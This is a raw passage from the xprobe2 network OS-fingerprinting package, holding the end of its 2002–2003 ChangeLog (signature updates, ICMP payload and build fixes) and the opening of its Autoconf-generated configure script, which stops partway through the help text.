mederchik * bug reported by atterer@debian.org fixed as suggested (do not build shared USI++ for now) 2003-05-14 mederchik * update from Ofir 2003-05-07 mederchik * fixed CFGDIR 2003-05-07 mederchik * last one to become GNU 2003-05-07 mederchik * Richard Atterer pointed out a bug, clear is removed 2003-05-07 mederchik * update from Ofir (windows 2003 server added) 2003-04-29 fygrave * new config.guess 2003-04-23 fygrave * License change 2003-04-08 fygrave * Richard Atterer pointed bugs (and fixes) 2003-04-07 fygrave * Cosmetic changes :) (welcome meder as author ;-)) 2003-04-06 mederchik * new fingerprints from Ofir 2003-04-04 mederchik * 0.1 RELEASE minor fixes 2003-04-04 mederchik * STL includes fix 2003-04-04 mederchik * code cleanup, removed unused code 2003-04-03 mederchik * v.1.0 RC2 :) 2003-04-03 mederchik * IP constructor now sets the IP ID value to !0 2003-04-01 mederchik * updated AUTHORS file, update from Ofir for xprobe2.conf, fixed xprobe_module_param RANGE type to match <= 2003-03-25 mederchik * update from Ofir to reflect new keyword, updated TODO 2003-03-19 mederchik * added new ip id keywords for each module, fixed build_DNS_reply() that was causing segfaults with gcc v.3, moved all modules except icmp_port_unreach to Xprobe_Module_Param 2003-02-12 mederchik * new type for xprobe_module_param + new VALUE (SENT) for icmp_echo_ip_id 2003-01-30 mederchik * sig update from Ofir (IOSs and MAC OS) 2003-01-20 mederchik * fixed payload, now we should be RFC compliant 2003-01-20 mederchik * added new method and fixed the timestamp payload, now we should be RFC compliant 2002-12-07 mederchik * small fix if no DNS record for www.securityfocus.com can be found 2002-11-26 mederchik * timestamp is defined in netinet/ip.h on linux, oh well we will have Timestamp :) 2002-11-24 mederchik * not our UDP packet does not just put static ip into DNS reply, but looks up ip of www.securityfocus.com and then puts the ip into packet 2002-11-24 mederchik * moved payload funcs into ICMP class of USI++, added the right payload for each ICMP probe 2002-11-24 mederchik * xp_get_src_addr() to return source IP for packets 2002-11-24 mederchik * xp_get_src_addr() added to support interface aliases 2002-11-13 mederchik * UNIX-like payload added to icmp echo req 2002-11-13 mederchik * xp_get_ping_payload() UNIX like payload for pings 2002-11-06 mederchik * fixed calc_ipsum(), bug reported by Jamie Van Randwyk 2002-11-04 mederchik * xp_get_random_data() added 2002-10-21 mederchik * using namespace std; added 2002-10-10 mederchik * fix for ioctl(SIOCGIFFLAGS) 2002-09-28 mederchik * updated man (-p) and -h 2002-09-23 mederchik * -p added + ttl_calc prints * now 2002-09-12 mederchik * updated new-fingerprints-howto 2002-09-10 mederchik * tell user of failed ttl precalculation 2002-09-10 mederchik * new man page (-r included) 2002-09-10 uid32118 * Ofir's update :) 2002-09-09 mederchik * solaris 9 added 2002-09-07 mederchik * added -r support for traceroute-like output 2002-09-01 mederchik * get rid of -i completely (cmdopts()) 2002-08-26 fygrave * update from Ofir 2002-08-26 fygrave * Fingerprints howto :-) 2002-08-25 mederchik * minor fix for the default config file path (needed slash) 2002-08-24 fygrave * Ofir's update on OpenBSD 3.1.x :-) 2002-08-24 fygrave * make install fixes. 2002-08-24 fygrave * config dir fixes. 2002-08-21 mederchik * added TTL fuzziness 2002-08-21 fygrave * Update from Ofir. 2002-08-17 mederchik * fuzzines in TTL matching 2002-08-17 mederchik * GPL 2002-08-15 mederchik * document -c and get rid of -i 2002-08-14 mederchik * patch submitted by Jamie Van Randwyk (fixes bug in interface lookup) 2002-08-14 mederchik * fixed hardcoded number of keywords (my fault) 2002-08-14 mederchik * fixed bug (registered extra keywords) 2002-08-12 mederchik * signature updates 2002-08-11 mederchik * fix in ip_sum calculation 2002-08-10 fygrave * Sigs update from Ofir :) 2002-08-10 fygrave * Signature fixes. More "debuggery" to icmp_echo_id Meder: you cant do if (foo == "bar") .. if foo is char *, only if doo is string, otherwise you have to use strcmp ;-) 2002-08-09 fygrave * it is 0xc0 not Oxc0 ;-) 2002-08-09 fygrave * Oops.. it is icmp_echo_ip_id, not icmp_echo_id, damn ;p 2002-08-09 mederchik * got rid of setfilter() + minor cleaning 2002-08-08 mederchik * fixed icmp_unreach_echoed_dtsize parsing, it is UDP header+payload 2002-08-08 fygrave * More files. 2002-08-08 fygrave * initial commit 2002-08-08 fygrave * initial commit 2002-08-08 fygrave * Initial commit xprobe2-0.3/configure000755 001751 000000 00000566500 10271643771 015116 0ustar00mederwheel000000 000000 #! /bin/sh # Guess values for system-dependent variables and create Makefiles. # Generated by GNU Autoconf 2.59. # # Copyright (C) 2003 Free Software Foundation, Inc. # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify it. ## --------------------- ## ## M4sh Initialization. ## ## --------------------- ## # Be Bourne compatible if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then set -o posix fi DUALCASE=1; export DUALCASE # for MKS sh # Support unset when possible. if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then as_unset=unset else as_unset=false fi # Work around bugs in pre-3.0 UWIN ksh. $as_unset ENV MAIL MAILPATH PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. for as_var in \ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ LC_TELEPHONE LC_TIME do if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then eval $as_var=C; export $as_var else $as_unset $as_var fi done # Required to use basename. if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi # Name of the executable. as_me=`$as_basename "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)$' \| \ . : '\(.\)' 2>/dev/null || echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; } /^X\/\(\/\/\)$/{ s//\1/; q; } /^X\/\(\/\).*/{ s//\1/; q; } s/.*/./; q'` # PATH needs CR, and LINENO needs CR and PATH. # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then echo "#! /bin/sh" >conf$$.sh echo "exit 0" >>conf$$.sh chmod +x conf$$.sh if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then PATH_SEPARATOR=';' else PATH_SEPARATOR=: fi rm -f conf$$.sh fi as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" || { # Find who we are. Look in the path if we contain no path at all # relative or not. case $0 in *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then { echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2 { (exit 1); exit 1; }; } fi case $CONFIG_SHELL in '') as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for as_base in sh bash ksh sh5; do case $as_dir in /*) if ("$as_dir/$as_base" -c ' as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; } $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; } CONFIG_SHELL=$as_dir/$as_base export CONFIG_SHELL exec "$CONFIG_SHELL" "$0" ${1+"$@"} fi;; esac done done ;; esac # Create $as_me.lineno as a copy of $as_myself, but with $LINENO # uniformly replaced by the line number. The first 'sed' inserts a # line-number line before each line; the second 'sed' does the real # work. The second script uses 'N' to pair each line-number line # with the numbered line, and appends trailing '-' during # substitution so that $LINENO is not a special case at line end. # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-) sed '=' <$as_myself | sed ' N s,$,-, : loop s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3, t loop s,-$,, s,^['$as_cr_digits']*\n,, ' >$as_me.lineno && chmod +x $as_me.lineno || { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 { (exit 1); exit 1; }; } # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensible to this). . ./$as_me.lineno # Exit status is that of the last command. exit } case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in *c*,-n*) ECHO_N= ECHO_C=' ' ECHO_T=' ' ;; *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;; *) ECHO_N= ECHO_C='\c' ECHO_T= ;; esac if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi rm -f conf$$ conf$$.exe conf$$.file echo >conf$$.file if ln -s conf$$.file conf$$ 2>/dev/null; then # We could just check for DJGPP; but this test a) works b) is more generic # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04). if test -f conf$$.exe; then # Don't use ln at all; we don't have any links as_ln_s='cp -p' else as_ln_s='ln -s' fi elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.file if mkdir -p . 2>/dev/null; then as_mkdir_p=: else test -d ./-p && rmdir ./-p as_mkdir_p=false fi as_executable_p="test -f" # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" # IFS # We need space, tab and new line, in precisely that order. as_nl=' ' IFS=" $as_nl" # CDPATH. $as_unset CDPATH # Name of the host. # hostname on some systems (SVR3.2, Linux) returns a bogus exit status, # so uname gets run too. ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` exec 6>&1 # # Initializations. # ac_default_prefix=/usr/local ac_config_libobj_dir=. cross_compiling=no subdirs= MFLAGS= MAKEFLAGS= SHELL=${CONFIG_SHELL-/bin/sh} # Maximum number of lines to put in a shell here document. # This variable seems obsolete. It should probably be removed, and # only ac_max_sed_lines should be used. : ${ac_max_here_lines=38} # Identity of this package. PACKAGE_NAME= PACKAGE_TARNAME= PACKAGE_VERSION= PACKAGE_STRING= PACKAGE_BUGREPORT= ac_unique_file="src/xprobe.cc" # Factoring default headers for most tests. ac_includes_default="\ #include #if HAVE_SYS_TYPES_H # include #endif #if HAVE_SYS_STAT_H # include #endif #if STDC_HEADERS # include # include #else # if HAVE_STDLIB_H # include # endif #endif #if HAVE_STRING_H # if !STDC_HEADERS && HAVE_MEMORY_H # include # endif # include #endif #if HAVE_STRINGS_H # include #endif #if HAVE_INTTYPES_H # include #else # if HAVE_STDINT_H # include # endif #endif #if HAVE_UNISTD_H # include #endif" ac_subdirs_all="$ac_subdirs_all "libs-external/USI++/src"" ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS PACKAGE VERSION CFGDIR CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CXX CXXFLAGS ac_ct_CXX RANLIB ac_ct_RANLIB SOURCES HEADERS build build_cpu build_vendor build_os host host_cpu host_vendor host_os CXXCPP EGREP DYNFLAGS INSTALL_PROGRAM INSTALL_SCRIPT INSTALL_DATA SET_MAKE subdirs LIBOBJS LTLIBOBJS' ac_subst_files='' # Initialize some variables set by options. ac_init_help= ac_init_version=false # The variables have the same names as the options, with # dashes changed to underlines. cache_file=/dev/null exec_prefix=NONE no_create= no_recursion= prefix=NONE program_prefix=NONE program_suffix=NONE program_transform_name=s,x,x, silent= site= srcdir= verbose= x_includes=NONE x_libraries=NONE # Installation directory options. # These are left unexpanded so users can "make install exec_prefix=/foo" # and all the variables that are supposed to be based on exec_prefix # by default will actually change. # Use braces instead of parens because sh, perl, etc. also accept them. bindir='${exec_prefix}/bin' sbindir='${exec_prefix}/sbin' libexecdir='${exec_prefix}/libexec' datadir='${prefix}/share' sysconfdir='${prefix}/etc' sharedstatedir='${prefix}/com' localstatedir='${prefix}/var' libdir='${exec_prefix}/lib' includedir='${prefix}/include' oldincludedir='/usr/include' infodir='${prefix}/info' mandir='${prefix}/man' ac_prev= for ac_option do # If the previous option needs an argument, assign it. if test -n "$ac_prev"; then eval "$ac_prev=\$ac_option" ac_prev= continue fi ac_optarg=`expr "x$ac_option" : 'x[^=]*=\(.*\)'` # Accept the important Cygnus configure options, so we can diagnose typos. case $ac_option in -bindir | --bindir | --bindi | --bind | --bin | --bi) ac_prev=bindir ;; -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) bindir=$ac_optarg ;; -build | --build | --buil | --bui | --bu) ac_prev=build_alias ;; -build=* | --build=* | --buil=* | --bui=* | --bu=*) build_alias=$ac_optarg ;; -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) cache_file=$ac_optarg ;; --config-cache | -C) cache_file=config.cache ;; -datadir | --datadir | --datadi | --datad | --data | --dat | --da) ac_prev=datadir ;; -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \ | --da=*) datadir=$ac_optarg ;; -disable-* | --disable-*) ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid feature name: $ac_feature" >&2 { (exit 1); exit 1; }; } ac_feature=`echo $ac_feature | sed 's/-/_/g'` eval "enable_$ac_feature=no" ;; -enable-* | --enable-*) ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid feature name: $ac_feature" >&2 { (exit 1); exit 1; }; } ac_feature=`echo $ac_feature | sed 's/-/_/g'` case $ac_option in *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;; *) ac_optarg=yes ;; esac eval "enable_$ac_feature='$ac_optarg'" ;; -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ | --exec | --exe | --ex) ac_prev=exec_prefix ;; -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ | --exec=* | --exe=* | --ex=*) exec_prefix=$ac_optarg ;; -gas | --gas | --ga | --g) # Obsolete; use --with-gas. with_gas=yes ;; -help | --help | --hel | --he | -h) ac_init_help=long ;; -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ac_init_help=recursive ;; -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ac_init_help=short ;; -host | --host | --hos | --ho) ac_prev=host_alias ;; -host=* | --host=* | --hos=* | --ho=*) host_alias=$ac_optarg ;; -includedir | --includedir | --includedi | --included | --include \ | --includ | --inclu | --incl | --inc) ac_prev=includedir ;; -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ | --includ=* | --inclu=* | --incl=* | --inc=*) includedir=$ac_optarg ;; -infodir | --infodir | --infodi | --infod | --info | --inf) ac_prev=infodir ;; -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) infodir=$ac_optarg ;; -libdir | --libdir | --libdi | --libd) ac_prev=libdir ;; -libdir=* | --libdir=* | --libdi=* | --libd=*) libdir=$ac_optarg ;; -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ | --libexe | --libex | --libe) ac_prev=libexecdir ;; -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ | --libexe=* | --libex=* | --libe=*) libexecdir=$ac_optarg ;; -localstatedir | --localstatedir | --localstatedi | --localstated \ | --localstate | --localstat | --localsta | --localst \ | --locals | --local | --loca | --loc | --lo) ac_prev=localstatedir ;; -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ | --localstate=* | --localstat=* | --localsta=* | --localst=* \ | --locals=* | --local=* | --loca=* | --loc=* | --lo=*) localstatedir=$ac_optarg ;; -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ac_prev=mandir ;; -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) mandir=$ac_optarg ;; -nfp | --nfp | --nf) # Obsolete; use --without-fp. with_fp=no ;; -no-create | --no-create | --no-creat | --no-crea | --no-cre \ | --no-cr | --no-c | -n) no_create=yes ;; -no-recursion | --no-recursion | --no-recursio | --no-recursi \ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) no_recursion=yes ;; -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ | --oldin | --oldi | --old | --ol | --o) ac_prev=oldincludedir ;; -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) oldincludedir=$ac_optarg ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) prefix=$ac_optarg ;; -program-prefix | --program-prefix | --program-prefi | --program-pref \ | --program-pre | --program-pr | --program-p) ac_prev=program_prefix ;; -program-prefix=* | --program-prefix=* | --program-prefi=* \ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) program_prefix=$ac_optarg ;; -program-suffix | --program-suffix | --program-suffi | --program-suff \ | --program-suf | --program-su | --program-s) ac_prev=program_suffix ;; -program-suffix=* | --program-suffix=* | --program-suffi=* \ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) program_suffix=$ac_optarg ;; -program-transform-name | --program-transform-name \ | --program-transform-nam | --program-transform-na \ | --program-transform-n | --program-transform- \ | --program-transform | --program-transfor \ | --program-transfo | --program-transf \ | --program-trans | --program-tran \ | --progr-tra | --program-tr | --program-t) ac_prev=program_transform_name ;; -program-transform-name=* | --program-transform-name=* \ | --program-transform-nam=* | --program-transform-na=* \ | --program-transform-n=* | --program-transform-=* \ | --program-transform=* | --program-transfor=* \ | --program-transfo=* | --program-transf=* \ | --program-trans=* | --program-tran=* \ | --progr-tra=* | --program-tr=* | --program-t=*) program_transform_name=$ac_optarg ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) silent=yes ;; -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ac_prev=sbindir ;; -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ | --sbi=* | --sb=*) sbindir=$ac_optarg ;; -sharedstatedir | --sharedstatedir | --sharedstatedi \ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ | --sharedst | --shareds | --shared | --share | --shar \ | --sha | --sh) ac_prev=sharedstatedir ;; -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ | --sha=* | --sh=*) sharedstatedir=$ac_optarg ;; -site | --site | --sit) ac_prev=site ;; -site=* | --site=* | --sit=*) site=$ac_optarg ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) srcdir=$ac_optarg ;; -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ | --syscon | --sysco | --sysc | --sys | --sy) ac_prev=sysconfdir ;; -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) sysconfdir=$ac_optarg ;; -target | --target | --targe | --targ | --tar | --ta | --t) ac_prev=target_alias ;; -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) target_alias=$ac_optarg ;; -v | -verbose | --verbose | --verbos | --verbo | --verb) verbose=yes ;; -version | --version | --versio | --versi | --vers | -V) ac_init_version=: ;; -with-* | --with-*) ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid package name: $ac_package" >&2 { (exit 1); exit 1; }; } ac_package=`echo $ac_package| sed 's/-/_/g'` case $ac_option in *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;; *) ac_optarg=yes ;; esac eval "with_$ac_package='$ac_optarg'" ;; -without-* | --without-*) ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid package name: $ac_package" >&2 { (exit 1); exit 1; }; } ac_package=`echo $ac_package | sed 's/-/_/g'` eval "with_$ac_package=no" ;; --x) # Obsolete; use --with-x. with_x=yes ;; -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ | --x-incl | --x-inc | --x-in | --x-i) ac_prev=x_includes ;; -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) x_includes=$ac_optarg ;; -x-libraries | --x-libraries | --x-librarie | --x-librari \ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ac_prev=x_libraries ;; -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) x_libraries=$ac_optarg ;; -*) { echo "$as_me: error: unrecognized option: $ac_option Try \`$0 --help' for more information." >&2 { (exit 1); exit 1; }; } ;; *=*) ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` # Reject names that are not valid shell variable names. expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid variable name: $ac_envvar" >&2 { (exit 1); exit 1; }; } ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` eval "$ac_envvar='$ac_optarg'" export $ac_envvar ;; *) # FIXME: should be removed in autoconf 3.0. echo "$as_me: WARNING: you should use --build, --host, --target" >&2 expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && echo "$as_me: WARNING: invalid host type: $ac_option" >&2 : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} ;; esac done if test -n "$ac_prev"; then ac_option=--`echo $ac_prev | sed 's/_/-/g'` { echo "$as_me: error: missing argument to $ac_option" >&2 { (exit 1); exit 1; }; } fi # Be sure to have absolute paths. for ac_var in exec_prefix prefix do eval ac_val=$`echo $ac_var` case $ac_val in [\\/$]* | ?:[\\/]* | NONE | '' ) ;; *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 { (exit 1); exit 1; }; };; esac done # Be sure to have absolute paths. for ac_var in bindir sbindir libexecdir datadir sysconfdir sharedstatedir \ localstatedir libdir includedir oldincludedir infodir mandir do eval ac_val=$`echo $ac_var` case $ac_val in [\\/$]* | ?:[\\/]* ) ;; *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 { (exit 1); exit 1; }; };; esac done # There might be people who depend on the old broken behavior: `$host' # used to hold the argument of --host etc. # FIXME: To remove some day. build=$build_alias host=$host_alias target=$target_alias # FIXME: To remove some day. if test "x$host_alias" != x; then if test "x$build_alias" = x; then cross_compiling=maybe echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. If a cross compiler is detected then cross compile mode will be used." >&2 elif test "x$build_alias" != "x$host_alias"; then cross_compiling=yes fi fi ac_tool_prefix= test -n "$host_alias" && ac_tool_prefix=$host_alias- test "$silent" = yes && exec 6>/dev/null # Find the source files, if location was not specified. if test -z "$srcdir"; then ac_srcdir_defaulted=yes # Try the directory containing this script, then its parent. ac_confdir=`(dirname "$0") 2>/dev/null || $as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$0" : 'X\(//\)[^/]' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$0" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` srcdir=$ac_confdir if test ! -r $srcdir/$ac_unique_file; then srcdir=.. fi else ac_srcdir_defaulted=no fi if test ! -r $srcdir/$ac_unique_file; then if test "$ac_srcdir_defaulted" = yes; then { echo "$as_me: error: cannot find sources ($ac_unique_file) in $ac_confdir or .." >&2 { (exit 1); exit 1; }; } else { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2 { (exit 1); exit 1; }; } fi fi (cd $srcdir && test -r ./$ac_unique_file) 2>/dev/null || { echo "$as_me: error: sources are in $srcdir, but \`cd $srcdir' does not work" >&2 { (exit 1); exit 1; }; } srcdir=`echo "$srcdir" | sed 's%\([^\\/]\)[\\/]*$%\1%'` ac_env_build_alias_set=${build_alias+set} ac_env_build_alias_value=$build_alias ac_cv_env_build_alias_set=${build_alias+set} ac_cv_env_build_alias_value=$build_alias ac_env_host_alias_set=${host_alias+set} ac_env_host_alias_value=$host_alias ac_cv_env_host_alias_set=${host_alias+set} ac_cv_env_host_alias_value=$host_alias ac_env_target_alias_set=${target_alias+set} ac_env_target_alias_value=$target_alias ac_cv_env_target_alias_set=${target_alias+set} ac_cv_env_target_alias_value=$target_alias ac_env_CC_set=${CC+set} ac_env_CC_value=$CC ac_cv_env_CC_set=${CC+set} ac_cv_env_CC_value=$CC ac_env_CFLAGS_set=${CFLAGS+set} ac_env_CFLAGS_value=$CFLAGS ac_cv_env_CFLAGS_set=${CFLAGS+set} ac_cv_env_CFLAGS_value=$CFLAGS ac_env_LDFLAGS_set=${LDFLAGS+set} ac_env_LDFLAGS_value=$LDFLAGS ac_cv_env_LDFLAGS_set=${LDFLAGS+set} ac_cv_env_LDFLAGS_value=$LDFLAGS ac_env_CPPFLAGS_set=${CPPFLAGS+set} ac_env_CPPFLAGS_value=$CPPFLAGS ac_cv_env_CPPFLAGS_set=${CPPFLAGS+set} ac_cv_env_CPPFLAGS_value=$CPPFLAGS ac_env_CXX_set=${CXX+set} ac_env_CXX_value=$CXX ac_cv_env_CXX_set=${CXX+set} ac_cv_env_CXX_value=$CXX ac_env_CXXFLAGS_set=${CXXFLAGS+set} ac_env_CXXFLAGS_value=$CXXFLAGS ac_cv_env_CXXFLAGS_set=${CXXFLAGS+set} ac_cv_env_CXXFLAGS_value=$CXXFLAGS ac_env_CXXCPP_set=${CXXCPP+set} ac_env_CXXCPP_value=$CXXCPP ac_cv_env_CXXCPP_set=${CXXCPP+set} ac_cv_env_CXXCPP_value=$CXXCPP # # Report the --help message. # if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF \`configure' configures this package to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... To assign environment variables (e.g., CC, CFLAGS...), specify them as VAR=VALUE. See below for descriptions of some of the useful variables. Defaults for the options are specified in brackets. Configuration: -h, --help display this help and exit --help=short display options specific to this package --help=recursive display the short help of all the included packages -V, --version display version information and exit -q, --quiet, --silent do not print \`checking...' messages --cache-file=FILE cache test results in FILE [disabled] -C, --config-cache alias for \`--cache-file=config.cache' -n, --no-create do not create output files --srcdir=DIR find the sources in DIR [configure dir or \`..'] _ACEOF cat <<_ACEOF Installation directories: --prefix=PREFIX install architecture-independent files in PREFIX [$ac_default_prefix] --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX [PREFIX] By 